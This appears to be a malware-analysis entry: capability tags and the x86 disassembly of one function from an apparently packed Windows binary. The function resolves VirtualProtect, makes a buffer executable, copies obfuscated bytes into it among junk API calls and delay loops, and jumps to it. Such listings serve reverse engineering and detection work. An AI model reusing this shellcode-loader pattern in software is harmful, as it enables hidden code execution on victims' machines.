Function at 0x402507
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get thread local storage value
Identify system language via api
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
push ebx
push esi
xor esi, esi
push edi
xor ebx, ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp ebx, 0x207138
jg 0x40252f
inc ebx
cmp ebx, 0x4f672
jl 0x402517
cmp dword [0x44e4b4], 0x93
jne 0x4025a1
push esi
lea eax, [ebp - 0x430]
push eax
push esi
push str.pejinimazapugizedoxozoyetadaxosoc
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push str.gipejuyaguzumisogamuhojeyune
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
push dword [ebp - 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push esi
call fcn.00402c61
push esi
call fcn.00402d6f
push esi
call fcn.00402c61
add esp, 0xc
call fcn.00402c78
mov eax, dword [0x446598]
add dword [0x44e4b4], 0x1134b
push str.kernel32.dll
mov dword [0x4548e0], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.VirtualProtect
push eax
mov dword [0x44df44], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x44e4b4]
mov dword [0x44df38], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x44e4b4]
mov dword [0x44df40], eax
push eax
call dword [0x44df38]
mov ebx, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec ebx
jne 0x402600
cmp dword [0x44e4b4], esi
jbe 0x402683
mov eax, dword [0x4548e0]
mov al, byte [eax + ebx + 0x1134b]
mov ecx, dword [0x44df40]
mov byte [ecx + ebx], al
cmp dword [0x44e4b4], 0x490
jne 0x40267a
push str.yulajitayafobatetomexarivipipaw_zeparegufifivewaxikip_vejuwer_yosuboyezicujidutohiragi_magoculuwemocutihapa
lea eax, [ebp - 0x430]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
push esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
push str.redadupalicadiwovulatuzude
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push str.lovoloxomimajubusulorahasa
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
inc ebx
cmp ebx, dword [0x44e4b4]
jb 0x402617
xor ebx, ebx
mov eax, dword [0x44e4b4]
add eax, ebx
cmp eax, 0x8d
jne 0x4026a7
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push esi
push esi
push str.ridetisawuwel
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
inc ebx
cmp ebx, 0x38681
jl 0x402685
mov eax, dword [0x44e4b4]
mov ecx, dword [0x44df40]
shr eax, 3
cmp eax, esi
jbe 0x4026ec
mov ebx, ecx
mov edi, eax
cmp dword [0x44e4b4], 0x959
jne 0x4026e1
push esi
lea eax, [ebp - 0x430]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
call fcn.00401007
add ebx, 8
dec edi
jne 0x4026c6
xor ebx, ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp ebx, 0x62
jne 0x40270d
mov dword [ebp - 4], esi
add dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add dword [0x44df40], eax
inc ebx
cmp ebx, 0x674db
jl 0x4026ee
push 0x7b
pop edi
cmp dword [0x44e4b4], 0x86
jne 0x40274d
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push str.pakovirufuxarid
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
lea eax, [ebp - 0x30]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
dec edi
jne 0x402719
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x44df40]
pop edi
pop esi
pop ebx
leave
ret